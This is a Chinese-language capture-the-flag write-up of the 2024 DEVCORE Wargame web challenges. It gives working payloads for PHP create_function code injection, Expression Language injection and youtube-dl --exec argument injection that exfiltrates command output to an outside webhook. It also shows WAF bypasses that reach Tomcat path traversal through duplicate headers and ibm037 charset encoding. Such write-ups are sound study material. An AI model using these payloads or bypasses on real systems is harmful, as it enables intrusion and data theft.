2024 DEVCORE Wargame
今年 Wargame 有八題,難度比往年高超多,都是有趣又實用的魔法,我在比賽結束前解了三題,結束後晚上解了兩題牆,剩下 Spring、酷拉皮卡 Kurapika、Notes Space
Supercalifragilisticexpialidocious
簽到題
<?php
if (!isset($_GET['code'])) {
echo '<h1>PHP Syntax Checker</h1><form method="GET"><textarea name="code"></textarea><br /><button type="submit">Submit</button></form><br />';
highlight_file(__FILE__);
exit();
}
$code = strval($_GET['code']);
try {
create_function('', $code);
echo "valid";
} catch (ParseError $e) {
echo "syntax error";
}
create_function
$code
可控,它的原理是拼接成函式後 eval
,類似 eval("function (){$code;}")
,所以注入 php code 就能 RCE
payload
GET /?code=%3b%7dsystem(%22%2freadflag%22)%3b%2f* HTTP/1.1
Host: web.ctf.d3vc0r3.tw:8888
response
HTTP/1.1 200 OK
Date: Sat, 24 Aug 2024 17:24:18 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 32
Content-Type: text/html; charset=UTF-8
DEVCORE{o1d_th1ng_1s_g00d}
valid
Expressionism
spring index 會把 FLAG 放在 session
...
@RequestMapping(value="/", method=RequestMethod.GET)
public String index(@RequestParam(value="id", required=false) String id, Model model, HttpSession session) {
if (id == null) {
id = String.valueOf(random.nextInt(11) + 1);
}
model.addAttribute("id", id);
session.setAttribute("FLAG", System.getenv("FLAG"));
return "index";
}
...
只有個 jsp 頁面,可控 id
<div class="container">
<img src="/static/The_Scream.jpg" alt="The Scream">
<p><spring:message code="life.quotes.${id}" /></p>
</div>
一臉給你注入,查了一陣子(java 的 document 真的難找....),後來丟去餵 chatgpt 才知道是 Expression Language,找到這篇 https://blog.csdn.net/jimmyleeee/article/details/114665906 ,知道 spring 會 evalute 兩次,然後錯誤訊息會回顯,所以先解析出 FLAG 讓他噴錯就行
payload
GET /?id=%24%7bsessionScope.FLAG%7d HTTP/1.1
Host: web.ctf.d3vc0r3.tw:18080
response
...
<pre>javax.servlet.jsp.JspTagException: No message found under code 'life.quotes.DEVCORE{d1d_y0u_kn0w_th1s_b3f0r3}' for locale 'en_US'.
...
I didn't know this before.
VArchive
開始有點挑戰了
題目是個 C# 網站, videoId
可控,要透過參數注入 youtube-dl
來 RCE
string arguments = string.Format("\"https://www.youtube.com/watch?v={0}\" -o \"{1}\"", videoId, outputPath);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WorkingDirectory = "/archives";
startInfo.FileName = "youtube-dl";
startInfo.Arguments = arguments;
Process process = new Process();
process.StartInfo = startInfo;
process.Start();
byte[] result = Encoding.UTF8.GetBytes(string.Format("Start to download {0}", url));
response.OutputStream.Write(result, 0, result.Length);
翻一下 youtube-dl 可以找到 --exec
,在成功下載檔案後能執行
以為是水題,沒想到滿滿人類的惡意
第一個惡意是使用的 youtube-dl 版本 2021.12.17 太舊,連題目預設要下載的影片 https://www.youtube.com/watch?v=iU0QOcM7UnU 都會被 403,查到 -i
可以 ignore error 但是 -o
設定 output path 是單一的,當要試著下載多個檔案會直接錯誤
VArchive$ ./publish/youtube-dl "http://a" "http://b" -o apath
ERROR: fixed output name but more than one file to download
參數本身是後蓋前,所以要透過 --
把後面參數變成非參數
VArchive$ ./publish/youtube-dl -- -o apath
ERROR: '-o' is not a valid URL. Set --default-search "ytsearch" (or run youtube-dl "ytsearch:-o" ) to search YouTube
然後找其他可上傳並且下載的站點,翻他 source code 包含超多網站,(不)意外的是有一堆 x 站,而幾乎每個 downloader 都會附幾個測資,我抱著學術研究精神好奇測試影片會不會是 hello world 教學,沒想到都是真槍實彈的。最後找到 streamable 和 google drive。
第二個惡意是莫名其妙的 ulimit 1kb ??????:D??????? 這邊讓我搞超久,大概方向有捏一個超級小的 media、下載部分檔案
我先查了一下 youtube-dl 要怎麼下載部分檔案,查到的大多是 ffmpeg 切影片轉檔,但是網站上沒有 ffmpeg,就改朝捏 media,自己隨便錄了段兩秒的影片,轉檔成一秒並且 frame rate 1,各種壓爛品質,轉成 webm 或是 gif,原本成功壓到 1kb 以下,丟到 streamable 後會被他強制做一次轉檔變成約 1.5kb,雖然還能線上做些裁切,最後也只壓到 1.3kb。還有查到一個有趣的 repo https://github.com/mathiasbynens/small 有各種最小尺寸的檔案。接著測試 googledrive 時遇到 youtube-dl 的坑,當檔案 <4kb 時, google drive 會沒辦法處理得到他的 metadata,導致 youtube-dl 拿 metadata 時失敗就噴了。
在 debug 時有看到 youtube-dl 處理流程會先匹配 URL, pattern 存在的話交給相對應的 extractor 和 downloader,第一個請求先拿 metadata,從中抽取真實檔案位置後第二個請求才下載。於是我猜次有沒有可能透過 open redirect 通過 URL 匹配跳轉到可控的 metadata,讓他載任意的檔案位置,結果是不行,因為從 metadata 抽出真實檔案位置後還會進行一次匹配。
最後是靈機一動想到 --add-header
可以加 "Range: bytes=0-499"
,然後就解了...
payload
youtube.com/watch?v=" "https://drive.google.com/file/d/1lgyCacgjiA90Vd0oayJnGcM5T_t9l5un/view?usp=sharing" -i -v --add-header "Range: bytes=0-499" --print-traffic --exec "python -c \"from urllib import request;request.urlopen('http://yourwebhook/$(/readflag|base64 -w 0)')#{}\"" --"
response
~$ ncat -klv 0.0.0.0 4242
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 172.104.94.128.
Ncat: Connection from 172.104.94.128:50960.
GET /REVWQ09SRXtjbDN1LjZpIHFvNGQuM3Q4NiEhfQo= HTTP/1.1
Accept-Encoding: identity
Host: blog.cjis.ooo:4242
User-Agent: Python-urllib/3.12
Connection: close
^C
~$ base64 -d
REVWQ09SRXtjbDN1LjZpIHFvNGQuM3Q4NiEhfQo=
DEVCORE{cl3u.6i qo4d.3t86!!}
p.s. 搞不好鈔能力去買些網站 premium 上傳無損檔案就好了...
酷拉皮卡 Kurapika
還在船上
一個黑箱的檔案上傳網站,稍微戳一下會知道他的 WAF 不是寫在 php 那層,因為上傳成功的 header 都帶有 apache,經過 php WAF 處理的也應該帶有 apache。
formdata filename 不能帶有 .ph
.ht
還有 hacktrick 上那些名單, Content-Type
不能帶有 charset
測過 apache 2.4.54 http smuggling POC、chunked coding bypass、sleep chunked、各種花式 content-type 分段都繞不過,我爛死QQQQQQQ
ginoah 說是 null byte 注在 boundary
Wall..Maria
前端是 go ,會做 proxy 到後端 Tomcat,要能 path traversal 讀 /flag.txt
go 有加一堆 waf,大致上要求不能有 .%2e
還有有些必須是 ascii。source code 有些我加的 log。
package main
import (
"log"
"io"
"net/http"
"os"
"regexp"
"strings"
)
func doWAF(r *http.Request) bool {
var parsed = false
var isPOST = r.Method == http.MethodPost
bodyData, _ := io.ReadAll(r.Body)
log.Println("bodyData: "+string(bodyData))
r.Body = io.NopCloser(strings.NewReader(string(bodyData)))
if hasDotDot(string(bodyData)) {
return false
}
if mr, err := r.MultipartReader(); err == nil {
log.Println("###multipartReader")
for {
parsed = true
part, err := mr.NextPart()
if err == io.EOF {
break
}
data, _ := io.ReadAll(part)
part.Close()
if !isASCII(part.FormName()) || !isASCII(string(data)) || hasDotDot(string(data)) {
return false
}
}
} else {
log.Println("###parseform")
if err := r.ParseForm(); err != nil {
return false
}
for key, values := range r.Form {
parsed = true
if !isASCII(key) || hasDotDot(key) {
return false
}
for _, value := range values {
log.Println("value "+key+":"+value)
if !isASCII(value) || hasDotDot(value) {
return false
}
}
}
}
r.Body = io.NopCloser(strings.NewReader(string(bodyData)))
return !isPOST || (isPOST && parsed)
}
func hasDotDot(s string) bool {
dotDotPattern := regexp.MustCompile(`(?i)(\.|%2e){2}`)
if dotDotPattern.MatchString(s) {
return true
}
return false
}
func isASCII(s string) bool {
for i := 0; i < len(s); i++ {
if s[i] >= 0x7F || s[i] < 0x20{
return false
}
}
return true
}
func proxyRequest(w http.ResponseWriter, r *http.Request) {
if !doWAF(r) {
http.Error(w, "WAF!", http.StatusForbidden)
return
}
backendURL := os.Getenv("BACKEND_URL")
proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, r.Body)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
for key, values := range r.Header {
for _, value := range values {
log.Println(key+":"+value)
proxyReq.Header.Set(key, value)
}
}
resp, err := http.DefaultClient.Do(proxyReq)
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
defer resp.Body.Close()
for key, values := range resp.Header {
for _, value := range values {
w.Header().Set(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}
func main() {
http.HandleFunc("/", proxyRequest)
log.Println("Proxy server running on port 80...")
log.Fatal(http.ListenAndServe(":80", nil))
}
Tomcat
<%
String file = request.getParameter("file");
if (
file == null || file.isEmpty()
|| !request.getParameter("give").equals("me")
|| !request.getParameter("the").equals("flag")
) {
%><script>window.location.href = "/?give=me&the=flag&file=greet";</script><%
} else {
try (java.io.FileInputStream fis = new java.io.FileInputStream("./webapps/ROOT/" + file)) {
byte[] buffer = new byte[4096];
int n;
while ((n = fis.read(buffer)) != -1) response.getOutputStream().write(buffer, 0, n);
} catch (Exception e) {
response.sendError(404, e.getMessage());
}
}
%>
測試一下會發現 r.Body
行為很怪,沒有 Content-Length
時會是整個 request 內容,有 Content-Length
時會是 body 內容。
GET 請求時仍然可以帶 Content-Length
和 Content-type
,並且會被解析成功
r.MultipartReader
會解析 multipart/form-data;
,翻了一下 net/http
還說會寫解析 multipart/mixed
r.ParseForm
會解析 query 和 body, r.Form
會取 query,所以必須走
那條路r.MultipartReader
// ParseForm populates r.Form and r.PostForm.
//
// For all requests, ParseForm parses the raw query from the URL and updates
// r.Form.
//
// For POST, PUT, and PATCH requests, it also reads the request body, parses it
// as a form and puts the results into both r.PostForm and r.Form. Request body
// parameters take precedence over URL query string values in r.Form.
//
// If the request Body's size has not already been limited by MaxBytesReader,
// the size is capped at 10MB.
//
// For other HTTP methods, or when the Content-Type is not
// application/x-www-form-urlencoded, the request Body is not read, and
// r.PostForm is initialized to a non-nil, empty value.
payload
GET /?give=me&the=flag&file=../../../../../../../flag.txt HTTP/1.1
Host: a
Content-Length: 134
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqSZSHGtnOhWX6qtX
------WebKitFormBoundaryqSZSHGtnOhWX6qtX
Content-Disposition: form-data; name="a"
me
------WebKitFormBoundaryqSZSHGtnOhWX6qtX--
response
HTTP/1.1 200 OK
Content-Length: 31
Content-Type: text/html
Date: Sat, 24 Aug 2024 15:00:10 GMT
Set-Cookie: JSESSIONID=E0DEAEFBDFA454B88FBA2B2419264A6E; Path=/; HttpOnly
DEVCORE{4S_1f_7h3rE_i5_n0_WAF}
Wall..Rose
不知道為啥這題 0 分
和前一題比,只是 WAF 多了偵測 r.URL
if hasDotDot(string(bodyData)) || hasDotDot(r.URL.String()){
return false
}
proxy 時 http.NewRequest(r.Method, backendURL+r.RequestURI, r.Body)
使用的是 r.RequestURI
,文檔上說有些差異,我測了一陣子沒看到有差,翻實作也沒看到什麼,後來猜想 r.Body
行為那麼怪,會不會 client request 能覆蓋一些資料,追了一陣子都蠻正常的
jsp getParameter
只會從 query 或是 application/x-www-form-urlencoded
取得,並不會從 multipart/form-data
取得,意味著 payload 必定會在 body 長這樣 file=../../../../../flag.txt
,唯一能繞過的方式是改變編碼,恰巧 Tomcat 支援奇怪的 charset,像是
ibm037
可以這樣生
各種奇怪繞 WAF
https://www.slideshare.net/slideshow/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour/104553423
推薦,很全面> https://turn1tup.github.io/2019/04/23/对过WAF的一些认知/
https://github.com/kh4sh3i/WAF-Bypass
剩下問題是 golang 那層 parse 後的 key, value 只能有 ascii ,經過 ibm037
編碼會有非 ascii 字元
fuzzing 一陣子發現如果有重複的 Content-Type
,golang 會看第一個,但是 Tomcat 會看第二個,並且r.MultipartReader
可以忍受 last part 後有髒資料,看實作好像是 parse 時遇到 --boundary--
就回傳 EOF,所以能忽略後面的髒資料
其實是 go proxy 寫法只會傳遞最後一個重複的 header,不是 Tomcat 本身的解析問題
所以最後 payload 長這樣
POST /?give=me&the=flag HTTP/1.1
Host: a
Content-Length: 114
Content-Type: multipart/form-data; boundary=a;charset=a
Content-Type: application/x-www-form-urlencoded; charset=ibm037
--a
Content-Disposition: form-data; name="a"
me
--a--
&%86%89%93%85=KKaKKaKKaKKaKKaKKa%86%93%81%87K%A3%A7%A3
response
HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html
Date: Sat, 24 Aug 2024 15:49:22 GMT
Set-Cookie: JSESSIONID=C0C1B3A8A9C9C76A26CB124E7A8CFDD3; Path=/; HttpOnly
DEVCORE{DM_m3_y0uR_s01ut1oN!_R3a1lY_cUr10us}
這是三小,我好像有點牆
題外話,因為前陣子 im.b 很紅,我戳了一個小時多的 imb037...
Spring
ginoah 的言簡意賅題
題目是 spring boot 有個 SQL 注入,不過在這好像是 JPQL ,要能 RCE
@SpringBootApplication
@Controller
public class Application extends SpringBootServletInitializer{
@PersistenceContext
private EntityManager entityManager;
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
@GetMapping("/{route}")
public String index(@PathVariable String route, Model model) {
return entityManager.createQuery(
String.format("FROM Pages WHERE route = '%s'", route), Pages.class)
.getResultStream()
.findFirst()
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND, "Page not found"))
.name;
}
}
題目就這樣(茶
.name
回傳的字串會變成搜尋 templates
下的檔案,猜測是和這裏的處理機制有關
Java 文檔真的好難找 Orz
然後想睡了QQ
窩不知道
Spring 回傳字串會經過 thymeleaf 解析,能做到 LFI/RFI 之類的 SSTI,HQL/JPQL(到底是哪個QAQ)禁止使用 union,但是可以透過 java constant 繞過,所以流程是 java
1. java constant 繞 union,控 return
2. 繞 thymeleaf 保護
3. SSTI
Notes Space
沒空看,Difficulty: ★★★★★★★
靠北怎麼從五顆變七顆 ★